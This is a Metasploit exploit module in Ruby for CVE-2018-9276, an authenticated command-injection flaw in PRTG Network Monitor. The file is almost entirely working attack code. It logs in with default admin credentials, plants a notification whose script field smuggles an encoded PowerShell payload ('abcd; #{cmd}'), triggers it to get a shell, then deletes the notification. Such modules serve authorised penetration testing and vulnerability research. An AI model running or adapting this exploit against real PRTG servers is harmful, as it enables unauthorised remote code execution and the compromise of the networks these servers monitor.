## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core/exploit/powershell' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Powershell def initialize(info = {}) super(update_info(info, 'Name' => "PRTG Network Monitor Authenticated RCE", 'Description' => %q{ Notifications can be created by an authenticated user and can execute scripts when triggered. Due to a poorly validated input on the script name, it is possible to chain it with a user-supplied command allowing command execution under the context of privileged user. The module uses provided credentials to log in to the web interface, then creates and triggers a malicious notification to perform RCE using a Powershell payload. It may require a few tries to get a shell because notifications are queued up on the server. This vulnerability affects versions prior to 18.2.39. See references for more details about the vulnerability allowing RCE. }, 'License' => MSF_LICENSE, 'Author' => [ 'Josh Berry ', # original discovery 'Julien Bedel ', # module writer ], 'References' => [ ['CVE', '2018-9276'], ['URL', 'https://www.codewatch.org/blog/?p=453'] ], 'Platform' => 'win', 'Arch' => [ ARCH_X86, ARCH_X64 ], 'Targets' => [ ['Automatic Targeting', { 'auto' => true }] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'WfsDelay' => 30 # because notification triggers are queuded up on the server }, 'DisclosureDate' => '2018-06-25')) register_options( [ OptString.new('ADMIN_USERNAME', [true, 'The username to authenticate as', 'prtgadmin']), OptString.new('ADMIN_PASSWORD', [true, 'The password for the specified username', 'prtgadmin']) ] ) end def prtg_connect begin res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(datastore['URI'], 'public', 'checklogin.htm'), 'vars_post' => { 'loginurl' => '', 'username' => datastore['ADMIN_USERNAME'], 'password' => datastore['ADMIN_PASSWORD'] } }) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError fail_with(Failure::Unreachable, 'Failed to reach remote host') ensure disconnect end if res && res.code == 302 && res.headers['LOCATION'] == '/home' && res.get_cookies @cookies = res.get_cookies.to_s print_good('Successfully logged in with provided credentials') vprint_status("Session cookies : #{@cookies}") else fail_with(Failure::NoAccess, 'Failed to authenticate to the web interface') end end def prtg_create_notification(cmd) uri = datastore['URI'] begin res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(uri, 'editsettings'), 'cookie' => @cookies, 'headers' => { 'X-Requested-With' => 'XMLHttpRequest' }, 'vars_post' => { 'name_' => Rex::Text.rand_text_alphanumeric(4..24), 'active_' => '1', 'schedule_' => '-1|None|', 'postpone_' => '1', 'summode_' => '2', 'summarysubject_' => '[%sitename] %summarycount Summarized Notifications', 'summinutes_' => '1', 'accessrights_' => '1', 'accessrights_201' => '0', 'active_1' => '0', 'addressuserid_1' => '-1', 'addressgroupid_1' => '-1', 'subject_1' => '[%sitename] %device %name %status %down (%message)', 'contenttype_1' => 'text/html', 'priority_1' => '0', 'active_17' => '0', 'addressuserid_17' => '-1', 'addressgroupid_17' => '-1', 'message_17' => '[%sitename] %device %name %status %down (%message)', 'active_8' => '0', 'addressuserid_8' => '-1', 'addressgroupid_8' => '-1', 'message_8' => '[%sitename] %device %name %status %down (%message)', 'active_2' => '0', 'eventlogfile_2' => 'application', 'sender_2' => 'PRTG Network Monitor', 'eventtype_2' => 'error', 'message_2' => '[%sitename] %device %name %status %down (%message)', 'active_13' => '0', 'syslogport_13' => '514', 'syslogfacility_13' => '1', 'syslogencoding_13' => '1', 'message_13' => '[%sitename] %device %name %status %down (%message)', 'active_14' => '0', 'snmpport_14' => '162', 'snmptrapspec_14' => '0', 'messageid_14' => '0', 'message_14' => '[%sitename] %device %name %status %down (%message)', 'active_9' => '0', 'urlsniselect_9' => '0', 'active_10' => '10', 'address_10' => 'Demo EXE Notification - OutFile.ps1', 'message_10' => "abcd; #{cmd}", 'timeout_10' => '60', 'active_15' => '0', 'message_15' => '[%sitename] %device %name %status %down (%message)', 'active_16' => '0', 'isusergroup_16' => '1', 'addressgroupid_16' => '200|PRTG Administrators', 'ticketuserid_16' => '100|PRTG System Administrator', 'subject_16' => '%device %name %status %down (%message)', 'message_16' => 'Sensor: %name\r\nStatus: %status %down\r\n\r\nDate/Time: %datetime (%timezone)\r\nLast Result: %lastvalue\r\nLast Message: %message\r\n\r\nProbe: %probe\r\nGroup: %group\r\nDevice: %device (%host)\r\n\r\nLast Scan: %lastcheck\r\nLast Up: %lastup\r\nLast Down: %lastdown\r\nUptime: %uptime\r\nDowntime: %downtime\r\nCumulated since: %cumsince\r\nLocation: %location\r\n\r\n', 'autoclose_16' => '1', 'objecttype' => 'notification', 'id' => 'new', 'targeturl' => '/myaccount.htm?tabid=2' } }) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError fail_with(Failure::Unreachable, 'Failed to reach remote host') ensure disconnect end if res && res.code == 200 && res.get_json_document['objid'] && !res.get_json_document['objid'].empty? @objid = res.get_json_document['objid'] print_good("Created malicious notification (objid=#{@objid})") vprint_status("Payload : #{cmd}") else fail_with(Failure::Unknown, 'Failed to create malicious notification') end end def prtg_trigger_notification uri = datastore['URI'] begin res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(uri, 'api', 'notificationtest.htm'), 'cookie' => @cookies, 'headers' => { 'X-Requested-With' => 'XMLHttpRequest' }, 'vars_post' => { 'id' => @objid } }) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError fail_with(Failure::Unreachable, 'Failed to reach remote host') ensure disconnect end if res && res.code == 200 && (res.to_s.include? 'EXE notification is queued up') print_good('Triggered malicious notification') else fail_with(Failure::Unknown, 'Failed to trigger malicious notification') end end def prtg_delete_notification uri = datastore['URI'] begin res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(uri, 'api', 'deleteobject.htm'), 'cookie' => @cookies, 'headers' => { 'X-Requested-With' => 'XMLHttpRequest' }, 'vars_post' => { 'id' => @objid, 'approve' => '1' } }) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError fail_with(Failure::Unreachable, 'Failed to reach remote host') ensure disconnect end if res print_good('Deleted malicious notification') else fail_with(Failure::Unknown, 'Failed to delete malicious notification') end end def check begin res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(datastore['URI'], '/index.htm') }) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError return CheckCode::Unknown ensure disconnect end if res && res.code == 200 # checks for PRTG version in http headers first, if not found looks for it in html version_match = /\d{1,2}\.\d{1}\.\d{1,2}\.\d*/ prtg_server_header = res.headers['Server'] if prtg_server_header && prtg_server_header =~ version_match prtg_version = prtg_server_header[version_match] else html = res.get_html_document prtg_version_html = html.at('span[@class="prtgversion"]') if prtg_version_html && prtg_version_html.text =~ version_match prtg_version = prtg_version_html.text[version_match] end end if prtg_version vprint_status("Identified PRTG Network Monitor Version #{prtg_version}") if Gem::Version.new(prtg_version) < Gem::Version.new('18.2.39') return CheckCode::Appears else return CheckCode::Safe end elsif (prtg_server_header.include? 'PRTG') || (html.to_s.include? 'PRTG') return CheckCode::Detected end end return CheckCode::Unknown end def exploit powershell_options = { #method: 'direct', remove_comspec: true, wrap_double_quotes: true, encode_final_payload: true } ps_payload = cmd_psh_payload(payload.encoded, payload_instance.arch.first, powershell_options) prtg_connect prtg_create_notification(ps_payload) prtg_trigger_notification prtg_delete_notification print_status("Waiting for payload execution.. (#{datastore['WfsDelay']} sec. max)") end end